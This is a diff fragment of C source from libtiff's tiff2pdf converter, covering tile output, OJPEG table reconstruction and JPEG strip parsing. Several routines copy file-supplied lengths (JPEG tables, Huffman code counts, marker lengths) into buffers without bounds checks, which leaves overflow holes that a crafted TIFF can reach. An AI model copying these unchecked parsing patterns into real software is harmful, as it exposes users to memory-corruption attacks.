+	tsize_t samplebufferoffset=0;
+	tsize_t read=0;
+	uint16 i=0;
+	ttile_t tilecount=0;
+	tsize_t tilesize=0;
+	ttile_t septilecount=0;
+	tsize_t septilesize=0;
+#ifdef JPEG_SUPPORT
+	unsigned char* jpt;
+	uint16 xuint16_1=0;
+	uint16 xuint16_2=0;
+	float* xfloatp;
+	uint32 xuint32=0;
+#endif
+
+	edge |= t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile);
+	edge |= t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile);
+
+	if( (t2p->pdf_transcode == T2P_TRANSCODE_RAW) && ((edge == 0)
+#if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT)
+		|| (t2p->pdf_compression == T2P_COMPRESS_JPEG)
+#endif
+	)
+	){
+#ifdef CCITT_SUPPORT
+		if(t2p->pdf_compression == T2P_COMPRESS_G4){
+			buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory "
+                                        "for t2p_readwrite_pdf_image_tile, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize);
+			if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){
+					TIFFReverseBits(buffer, t2p->tiff_datasize);
+			}
+			TIFFWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize);
+			_TIFFfree(buffer);
+			return(t2p->tiff_datasize);
+		}
+#endif
+#ifdef ZIP_SUPPORT
+		if(t2p->pdf_compression == T2P_COMPRESS_ZIP){
+			buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory "
+                                        "for t2p_readwrite_pdf_image_tile, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			TIFFReadRawTile(input, tile, (tdata_t) buffer, t2p->tiff_datasize);
+			if (t2p->tiff_fillorder==FILLORDER_LSB2MSB){
+					TIFFReverseBits(buffer, t2p->tiff_datasize);
+			}
+			TIFFWriteFile(output, (tdata_t) buffer, t2p->tiff_datasize);
+			_TIFFfree(buffer);
+			return(t2p->tiff_datasize);
+		}
+#endif
+#ifdef OJPEG_SUPPORT
+		if(t2p->tiff_compression == COMPRESSION_OJPEG){
+			if(! t2p->pdf_ojpegdata){
+				TIFFError(TIFF2PDF_MODULE, 
+					"No support for OJPEG image %s with "
+                                        "bad tables", 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			buffer=(unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory "
+                                        "for t2p_readwrite_pdf_image, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			_TIFFmemcpy(buffer, t2p->pdf_ojpegdata, t2p->pdf_ojpegdatalength);
+			if(edge!=0){
+				if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){
+					buffer[7]=
+						(t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength >> 8) & 0xff;
+					buffer[8]=
+						(t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength ) & 0xff;
+				}
+				if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile)){
+					buffer[9]=
+						(t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth >> 8) & 0xff;
+					buffer[10]=
+						(t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth ) & 0xff;
+				}
+			}
+			bufferoffset=t2p->pdf_ojpegdatalength;
+			bufferoffset+=TIFFReadRawTile(input, 
+					tile, 
+					(tdata_t) &(((unsigned char*)buffer)[bufferoffset]), 
+					-1);
+			((unsigned char*)buffer)[bufferoffset++]=0xff;
+			((unsigned char*)buffer)[bufferoffset++]=0xd9;
+			TIFFWriteFile(output, (tdata_t) buffer, bufferoffset);
+			_TIFFfree(buffer);
+			return(bufferoffset);
+		}
+#endif
+#ifdef JPEG_SUPPORT
+		if(t2p->tiff_compression == COMPRESSION_JPEG){
+			unsigned char table_end[2];
+			buffer= (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory "
+                                        "for t2p_readwrite_pdf_image_tile, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			if(TIFFGetField(input, TIFFTAG_JPEGTABLES, &xuint16_1, &jpt) != 0) {
+				if(xuint16_1 > 0){
+					_TIFFmemcpy(buffer, jpt, xuint16_1);
+					bufferoffset += xuint16_1 - 2;
+					table_end[0] = buffer[bufferoffset-2];
+					table_end[1] = buffer[bufferoffset-1];
+				}
+				if(xuint16_1 > 0) {
+					xuint32 = bufferoffset;
+					bufferoffset += TIFFReadRawTile(
+						input, 
+						tile, 
+						(tdata_t) &(((unsigned char*)buffer)[bufferoffset-2]), 
+						-1);
+						buffer[xuint32-2]=table_end[0];
+						buffer[xuint32-1]=table_end[1];
+				} else {
+					bufferoffset += TIFFReadRawTile(
+						input, 
+						tile, 
+						(tdata_t) &(((unsigned char*)buffer)[bufferoffset]), 
+						-1);
+				}
+			}
+			TIFFWriteFile(output, (tdata_t) buffer, bufferoffset);
+			_TIFFfree(buffer);
+			return(bufferoffset);
+		}
+#endif
+		(void)0;
+	}
+
+	if(t2p->pdf_sample==T2P_SAMPLE_NOTHING){
+		buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+		if(buffer==NULL){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Can't allocate %u bytes of memory for "
+                                "t2p_readwrite_pdf_image_tile, %s", 
+				t2p->tiff_datasize, 
+				TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return(0);
+		}
+
+		read = TIFFReadEncodedTile(
+			input, 
+			tile, 
+			(tdata_t) &buffer[bufferoffset], 
+			t2p->tiff_datasize);
+		if(read==-1){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Error on decoding tile %u of %s", 
+				tile, 
+				TIFFFileName(input));
+			_TIFFfree(buffer);
+			t2p->t2p_error=T2P_ERR_ERROR;
+			return(0);
+		}
+
+	} else {
+
+		if(t2p->pdf_sample == T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG){
+			septilesize=TIFFTileSize(input);
+			septilecount=TIFFNumberOfTiles(input);
+			tilesize=septilesize*t2p->tiff_samplesperpixel;
+			tilecount=septilecount/t2p->tiff_samplesperpixel;
+			buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory "
+                                        "for t2p_readwrite_pdf_image_tile, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			samplebuffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(samplebuffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory "
+                                        "for t2p_readwrite_pdf_image_tile, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			samplebufferoffset=0;
+			for(i=0;i<t2p->tiff_samplesperpixel;i++){
+				read = 
+					TIFFReadEncodedTile(input, 
+						tile + i*tilecount, 
+						(tdata_t) &(samplebuffer[samplebufferoffset]), 
+						septilesize);
+				if(read==-1){
+					TIFFError(TIFF2PDF_MODULE, 
+						"Error on decoding tile %u of %s", 
+						tile + i*tilecount, 
+						TIFFFileName(input));
+						_TIFFfree(samplebuffer);
+						_TIFFfree(buffer);
+					t2p->t2p_error=T2P_ERR_ERROR;
+					return(0);
+				}
+				samplebufferoffset+=read;
+			}
+			t2p_sample_planar_separate_to_contig(
+				t2p,
+				&(buffer[bufferoffset]),
+				samplebuffer, 
+				samplebufferoffset); 
+			bufferoffset+=samplebufferoffset;
+			_TIFFfree(samplebuffer);
+		}
+
+		if(buffer==NULL){
+			buffer = (unsigned char*) _TIFFmalloc(t2p->tiff_datasize);
+			if(buffer==NULL){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Can't allocate %u bytes of memory "
+                                        "for t2p_readwrite_pdf_image_tile, %s", 
+					t2p->tiff_datasize, 
+					TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+			}
+			read = TIFFReadEncodedTile(
+				input, 
+				tile, 
+				(tdata_t) &buffer[bufferoffset], 
+				t2p->tiff_datasize);
+			if(read==-1){
+				TIFFError(TIFF2PDF_MODULE, 
+					"Error on decoding tile %u of %s", 
+					tile, 
+					TIFFFileName(input));
+				_TIFFfree(buffer);
+				t2p->t2p_error=T2P_ERR_ERROR;
+				return(0);
+			}
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_RGBA_TO_RGB){
+			t2p->tiff_datasize=t2p_sample_rgba_to_rgb(
+				(tdata_t)buffer, 
+				t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth
+				*t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_RGBAA_TO_RGB){
+			t2p->tiff_datasize=t2p_sample_rgbaa_to_rgb(
+				(tdata_t)buffer, 
+				t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth
+				*t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_YCBCR_TO_RGB){
+			TIFFError(TIFF2PDF_MODULE, 
+				"No support for YCbCr to RGB in tile for %s", 
+				TIFFFileName(input));
+			_TIFFfree(buffer);
+			t2p->t2p_error = T2P_ERR_ERROR;
+			return(0);
+		}
+
+		if(t2p->pdf_sample & T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED){
+			t2p->tiff_datasize=t2p_sample_lab_signed_to_unsigned(
+				(tdata_t)buffer, 
+				t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth
+				*t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+		}
+	}
+
+	if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) != 0){
+		t2p_tile_collapse_left(
+			buffer, 
+			TIFFTileRowSize(input),
+			t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth,
+			t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth, 
+			t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+	}
+
+	t2p->tiff_writeproc=output->tif_writeproc;
+	output->tif_writeproc=t2p_empty_writeproc;
+
+	TIFFSetField(output, TIFFTAG_PHOTOMETRIC, t2p->tiff_photometric);
+	TIFFSetField(output, TIFFTAG_BITSPERSAMPLE, t2p->tiff_bitspersample);
+	TIFFSetField(output, TIFFTAG_SAMPLESPERPIXEL, t2p->tiff_samplesperpixel);
+	if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){
+		TIFFSetField(
+			output, 
+			TIFFTAG_IMAGEWIDTH, 
+			t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth);
+	} else {
+		TIFFSetField(
+			output, 
+			TIFFTAG_IMAGEWIDTH, 
+			t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth);
+	}
+	if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile) == 0){
+		TIFFSetField(
+			output, 
+			TIFFTAG_IMAGELENGTH, 
+			t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+		TIFFSetField(
+			output, 
+			TIFFTAG_ROWSPERSTRIP, 
+			t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength);
+	} else {
+		TIFFSetField(
+			output, 
+			TIFFTAG_IMAGELENGTH, 
+			t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength);
+		TIFFSetField(
+			output, 
+			TIFFTAG_ROWSPERSTRIP, 
+			t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength);
+	}
+	TIFFSetField(output, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+	TIFFSetField(output, TIFFTAG_FILLORDER, FILLORDER_MSB2LSB);
+
+	switch(t2p->pdf_compression){
+	case T2P_COMPRESS_NONE:
+		TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_NONE);
+		break;
+#ifdef CCITT_SUPPORT
+	case T2P_COMPRESS_G4:
+		TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_CCITTFAX4);
+		break;
+#endif
+#ifdef JPEG_SUPPORT
+	case T2P_COMPRESS_JPEG:
+		if(t2p->tiff_photometric==PHOTOMETRIC_YCBCR){
+			if(TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &xuint16_1, &xuint16_2)!=0){
+				if(xuint16_1 != 0 && xuint16_2 != 0){
+					TIFFSetField(output, TIFFTAG_YCBCRSUBSAMPLING, xuint16_1, xuint16_2);
+				}
+			}
+			if(TIFFGetField(input, TIFFTAG_REFERENCEBLACKWHITE, &xfloatp)!=0){
+				TIFFSetField(output, TIFFTAG_REFERENCEBLACKWHITE, xfloatp);
+			}
+		}
+		TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_JPEG);
+		TIFFSetField(output, TIFFTAG_JPEGTABLESMODE, 0); /* JPEGTABLESMODE_NONE */
+		if(t2p->pdf_colorspace & (T2P_CS_RGB | T2P_CS_LAB)){
+			TIFFSetField(output, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR);
+			if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR){
+				TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB);
+			} else {
+				TIFFSetField(output, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RAW);
+			}
+		}
+		if(t2p->pdf_colorspace & T2P_CS_GRAY){
+			(void)0;
+		}
+		if(t2p->pdf_colorspace & T2P_CS_CMYK){
+			(void)0;
+		}
+		if(t2p->pdf_defaultcompressionquality != 0){
+			TIFFSetField(output, 
+				TIFFTAG_JPEGQUALITY, 
+				t2p->pdf_defaultcompressionquality);
+		}
+		break;
+#endif
+#ifdef ZIP_SUPPORT
+	case T2P_COMPRESS_ZIP:
+		TIFFSetField(output, TIFFTAG_COMPRESSION, COMPRESSION_DEFLATE);
+		if(t2p->pdf_defaultcompressionquality%100 != 0){
+			TIFFSetField(output, 
+				TIFFTAG_PREDICTOR, 
+				t2p->pdf_defaultcompressionquality % 100);
+		}
+		if(t2p->pdf_defaultcompressionquality/100 != 0){
+			TIFFSetField(output, 
+				TIFFTAG_ZIPQUALITY, 
+				(t2p->pdf_defaultcompressionquality / 100));
+		}
+		break;
+#endif
+	default:
+		break;
+	}
+	
+	output->tif_writeproc=t2p->tiff_writeproc;
+	bufferoffset=TIFFWriteEncodedStrip(output, (tstrip_t) 0, buffer, TIFFStripSize(output)); 
+	if(buffer != NULL){
+		_TIFFfree(buffer);
+		buffer=NULL;
+	}
+	if(bufferoffset==-1){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Error writing encoded tile to output PDF %s", 
+			TIFFFileName(output));
+		t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	}
+	
+	written= output->tif_dir.td_stripbytecount[0];
+	
+	return(written);
+}
+
+#ifdef OJPEG_SUPPORT
+int t2p_process_ojpeg_tables(T2P* t2p, TIFF* input){
+	uint16 proc=0;
+	void* q;
+	uint32 q_length=0;
+	void* dc;
+	uint32 dc_length=0;
+	void* ac;
+	uint32 ac_length=0;
+	uint16* lp;
+	uint16* pt;
+	uint16 h_samp=1;
+	uint16 v_samp=1;
+	unsigned char* ojpegdata;
+	uint16 table_count;
+	uint32 offset_table;
+	uint32 offset_ms_l;
+	uint32 code_count;
+	uint32 i=0;
+	uint32 dest=0;
+	uint16 ri=0;
+	uint32 rows=0;
+	
+	if(!TIFFGetField(input, TIFFTAG_JPEGPROC, &proc)){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Missing JPEGProc field in OJPEG image %s", 
+			TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	}
+	if(proc!=JPEGPROC_BASELINE && proc!=JPEGPROC_LOSSLESS){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Bad JPEGProc field in OJPEG image %s", 
+			TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	}
+	if(!TIFFGetField(input, TIFFTAG_JPEGQTABLES, &q_length, &q)){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Missing JPEGQTables field in OJPEG image %s", 
+			TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	}
+	if(q_length < (64U * t2p->tiff_samplesperpixel)){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Bad JPEGQTables field in OJPEG image %s", 
+			TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	} 
+	if(!TIFFGetField(input, TIFFTAG_JPEGDCTABLES, &dc_length, &dc)){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Missing JPEGDCTables field in OJPEG image %s", 
+			TIFFFileName(input));
+			t2p->t2p_error = T2P_ERR_ERROR;
+		return(0);
+	}
+	if(proc==JPEGPROC_BASELINE){
+		if(!TIFFGetField(input, TIFFTAG_JPEGACTABLES, &ac_length, &ac)){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Missing JPEGACTables field in OJPEG image %s", 
+				TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+			return(0);
+		}
+	} else {
+		if(!TIFFGetField(input, TIFFTAG_JPEGLOSSLESSPREDICTORS, &lp)){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Missing JPEGLosslessPredictors field in OJPEG image %s", 
+				TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+				return(0);
+		}
+		if(!TIFFGetField(input, TIFFTAG_JPEGPOINTTRANSFORM, &pt)){
+			TIFFError(TIFF2PDF_MODULE, 
+				"Missing JPEGPointTransform field in OJPEG image %s", 
+				TIFFFileName(input));
+				t2p->t2p_error = T2P_ERR_ERROR;
+			return(0);
+		}
+	}
+	if(!TIFFGetField(input, TIFFTAG_YCBCRSUBSAMPLING, &h_samp, &v_samp)){
+		h_samp=1;
+		v_samp=1;
+	}
+	if(t2p->pdf_ojpegdata != NULL){
+		_TIFFfree(t2p->pdf_ojpegdata);
+		t2p->pdf_ojpegdata=NULL;
+	} 
+	t2p->pdf_ojpegdata = _TIFFmalloc(2048);
+	if(t2p->pdf_ojpegdata == NULL){
+		TIFFError(TIFF2PDF_MODULE, 
+			"Can't allocate %u bytes of memory for t2p_process_ojpeg_tables, %s", 
+			2048, 
+			TIFFFileName(input));
+		return(0);
+	}
+	_TIFFmemset(t2p->pdf_ojpegdata, 0x00, 2048);
+	t2p->pdf_ojpegdatalength = 0;
+	table_count=t2p->tiff_samplesperpixel;
+	if(proc==JPEGPROC_BASELINE){
+		if(table_count>2) table_count=2;
+	}
+	ojpegdata=(unsigned char*)t2p->pdf_ojpegdata;
+	ojpegdata[t2p->pdf_ojpegdatalength++]=0xff;
+	ojpegdata[t2p->pdf_ojpegdatalength++]=0xd8;
+	ojpegdata[t2p->pdf_ojpegdatalength++]=0xff;
+	if(proc==JPEGPROC_BASELINE){
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xc0;
+	} else {
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xc3;
+	}
+	ojpegdata[t2p->pdf_ojpegdatalength++]=0x00;
+	ojpegdata[t2p->pdf_ojpegdatalength++]=(8 + 3*t2p->tiff_samplesperpixel);
+	ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_bitspersample & 0xff);
+	if(TIFFIsTiled(input)){
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength >> 8) & 0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength ) & 0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth >> 8) & 0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth ) & 0xff;
+	} else {
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_length >> 8) & 0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_length ) & 0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_width >> 8) & 0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=
+			(t2p->tiff_width ) & 0xff;
+	}
+	ojpegdata[t2p->pdf_ojpegdatalength++]=(t2p->tiff_samplesperpixel & 0xff);
+	for(i=0;i<t2p->tiff_samplesperpixel;i++){
+		ojpegdata[t2p->pdf_ojpegdatalength++]=i;
+		if(i==0){
+			ojpegdata[t2p->pdf_ojpegdatalength] |= h_samp<<4 & 0xf0;;
+			ojpegdata[t2p->pdf_ojpegdatalength++] |= v_samp & 0x0f;
+		} else {
+				ojpegdata[t2p->pdf_ojpegdatalength++]= 0x11;
+		}
+		ojpegdata[t2p->pdf_ojpegdatalength++]=i;
+	}
+	for(dest=0;dest<t2p->tiff_samplesperpixel;dest++){
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xdb;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0x00;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0x43;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=dest;
+		_TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength++]), 
+			&(((unsigned char*)q)[64*dest]), 64);
+		t2p->pdf_ojpegdatalength+=64;
+	}
+	offset_table=0;
+	for(dest=0;dest<table_count;dest++){
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4;
+		offset_ms_l=t2p->pdf_ojpegdatalength;
+		t2p->pdf_ojpegdatalength+=2;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=dest & 0x0f;
+		_TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), 
+			&(((unsigned char*)dc)[offset_table]), 16);
+		code_count=0;
+		offset_table+=16;
+		for(i=0;i<16;i++){
+			code_count+=ojpegdata[t2p->pdf_ojpegdatalength++];
+		}
+		ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff;
+		ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff;
+		_TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), 
+			&(((unsigned char*)dc)[offset_table]), code_count);
+		offset_table+=code_count;
+		t2p->pdf_ojpegdatalength+=code_count;
+	}
+	if(proc==JPEGPROC_BASELINE){
+	offset_table=0;
+		for(dest=0;dest<table_count;dest++){
+			ojpegdata[t2p->pdf_ojpegdatalength++]=0xff;
+			ojpegdata[t2p->pdf_ojpegdatalength++]=0xc4;
+			offset_ms_l=t2p->pdf_ojpegdatalength;
+			t2p->pdf_ojpegdatalength+=2;
+			ojpegdata[t2p->pdf_ojpegdatalength] |= 0x10;
+			ojpegdata[t2p->pdf_ojpegdatalength++] |=dest & 0x0f;
+			_TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), 
+				&(((unsigned char*)ac)[offset_table]), 16);
+			code_count=0;
+			offset_table+=16;
+			for(i=0;i<16;i++){
+				code_count+=ojpegdata[t2p->pdf_ojpegdatalength++];
+			}	
+			ojpegdata[offset_ms_l]=((19+code_count)>>8) & 0xff;
+			ojpegdata[offset_ms_l+1]=(19+code_count) & 0xff;
+			_TIFFmemcpy( &(ojpegdata[t2p->pdf_ojpegdatalength]), 
+				&(((unsigned char*)ac)[offset_table]), code_count);
+			offset_table+=code_count;
+			t2p->pdf_ojpegdatalength+=code_count;
+		}
+	}
+	if(TIFFNumberOfStrips(input)>1){
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0xdd;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0x00;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0x04;
+		h_samp*=8;
+		v_samp*=8;
+		ri=(t2p->tiff_width+h_samp-1) / h_samp;
+		TIFFGetField(input, TIFFTAG_ROWSPERSTRIP, &rows);
+		ri*=(rows+v_samp-1)/v_samp;
+		ojpegdata[t2p->pdf_ojpegdatalength++]= (ri>>8) & 0xff;
+		ojpegdata[t2p->pdf_ojpegdatalength++]= ri & 0xff;
+	}
+	ojpegdata[t2p->pdf_ojpegdatalength++]=0xff;
+	ojpegdata[t2p->pdf_ojpegdatalength++]=0xda;
+	ojpegdata[t2p->pdf_ojpegdatalength++]=0x00;
+	ojpegdata[t2p->pdf_ojpegdatalength++]=(6 + 2*t2p->tiff_samplesperpixel);
+	ojpegdata[t2p->pdf_ojpegdatalength++]=t2p->tiff_samplesperpixel & 0xff;
+	for(i=0;i<t2p->tiff_samplesperpixel;i++){
+		ojpegdata[t2p->pdf_ojpegdatalength++]= i & 0xff;
+		if(proc==JPEGPROC_BASELINE){
+			ojpegdata[t2p->pdf_ojpegdatalength] |= 
+				( ( (i>(table_count-1U)) ? (table_count-1U) : i) << 4U) & 0xf0;
+			ojpegdata[t2p->pdf_ojpegdatalength++] |= 
+				( (i>(table_count-1U)) ? (table_count-1U) : i) & 0x0f;
+		} else {
+			ojpegdata[t2p->pdf_ojpegdatalength++] =  (i << 4) & 0xf0;
+		}
+	}
+	if(proc==JPEGPROC_BASELINE){
+		t2p->pdf_ojpegdatalength++;
+		ojpegdata[t2p->pdf_ojpegdatalength++]=0x3f;
+		t2p->pdf_ojpegdatalength++;
+	} else {
+		ojpegdata[t2p->pdf_ojpegdatalength++]= (lp[0] & 0xff);
+		t2p->pdf_ojpegdatalength++;
+		ojpegdata[t2p->pdf_ojpegdatalength++]= (pt[0] & 0x0f);
+	}
+
+	return(1);
+}
+#endif
+
+#ifdef JPEG_SUPPORT
+int t2p_process_jpeg_strip(
+	unsigned char* strip, 
+	tsize_t* striplength, 
+	unsigned char* buffer, 
+	tsize_t* bufferoffset, 
+	tstrip_t no, 
+	uint32 height){
+
+	tsize_t i=0;
+	uint16 ri =0;
+	uint16 v_samp=1;
+	uint16 h_samp=1;
+	int j=0;
+	
+	i++;
+	
+	while(i<(*striplength)){
+		switch( strip[i] ){
+			case 0xd8:
+				i+=2;
+				break;
+			case 0xc0:
+			case 0xc1:
+			case 0xc3:
+			case 0xc9:
+			case 0xca:
+				if(no==0){
+					_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), strip[i+2]+2);
+					for(j=0;j<buffer[*bufferoffset+9];j++){
+						if( (buffer[*bufferoffset+11+(2*j)]>>4) > h_samp) 
+							h_samp = (buffer[*bufferoffset+11+(2*j)]>>4);
+						if( (buffer[*bufferoffset+11+(2*j)] & 0x0f) > v_samp) 
+							v_samp = (buffer[*bufferoffset+11+(2*j)] & 0x0f);
+					}
+					v_samp*=8;
+					h_samp*=8;
+					ri=((( ((uint16)(buffer[*bufferoffset+5])<<8) | 
+					(uint16)(buffer[*bufferoffset+6]) )+v_samp-1)/ 
+					v_samp);
+					ri*=((( ((uint16)(buffer[*bufferoffset+7])<<8) | 
+					(uint16)(buffer[*bufferoffset+8]) )+h_samp-1)/ 
+					h_samp);
+					buffer[*bufferoffset+5]=
+                                          (unsigned char) ((height>>8) & 0xff);
+					buffer[*bufferoffset+6]=
+                                            (unsigned char) (height & 0xff);
+					*bufferoffset+=strip[i+2]+2;
+					i+=strip[i+2]+2;
+
+					buffer[(*bufferoffset)++]=0xff;
+					buffer[(*bufferoffset)++]=0xdd;
+					buffer[(*bufferoffset)++]=0x00;
+					buffer[(*bufferoffset)++]=0x04;
+					buffer[(*bufferoffset)++]=(ri >> 8) & 0xff;
+					buffer[(*bufferoffset)++]= ri & 0xff;
+				} else {
+					i+=strip[i+2]+2;
+				}
+				break;
+			case 0xc4:
+			case 0xdb:
+				_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), strip[i+2]+2);
+				*bufferoffset+=strip[i+2]+2;
+				i+=strip[i+2]+2;
+				break;
+			case 0xda:
+				if(no==0){
+					_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), strip[i+2]+2);
+					*bufferoffset+=strip[i+2]+2;
+					i+=strip[i+2]+2;
+				} else {
+					buffer[(*bufferoffset)++]=0xff;
+					buffer[(*bufferoffset)++]=
+                                            (unsigned char)(0xd0 | ((no-1)%8));
+					i+=strip[i+2]+2;
+				}
+				_TIFFmemcpy(&(buffer[*bufferoffset]), &(strip[i-1]), (*striplength)-i-1);
+				*bufferoffset+=(*striplength)-i-1;
+				return(1);
+			default:
+				i+=strip[i+2]+2;
+		}
+	}
+	
+
+	return(0);
+}
+#endif
+
+/*
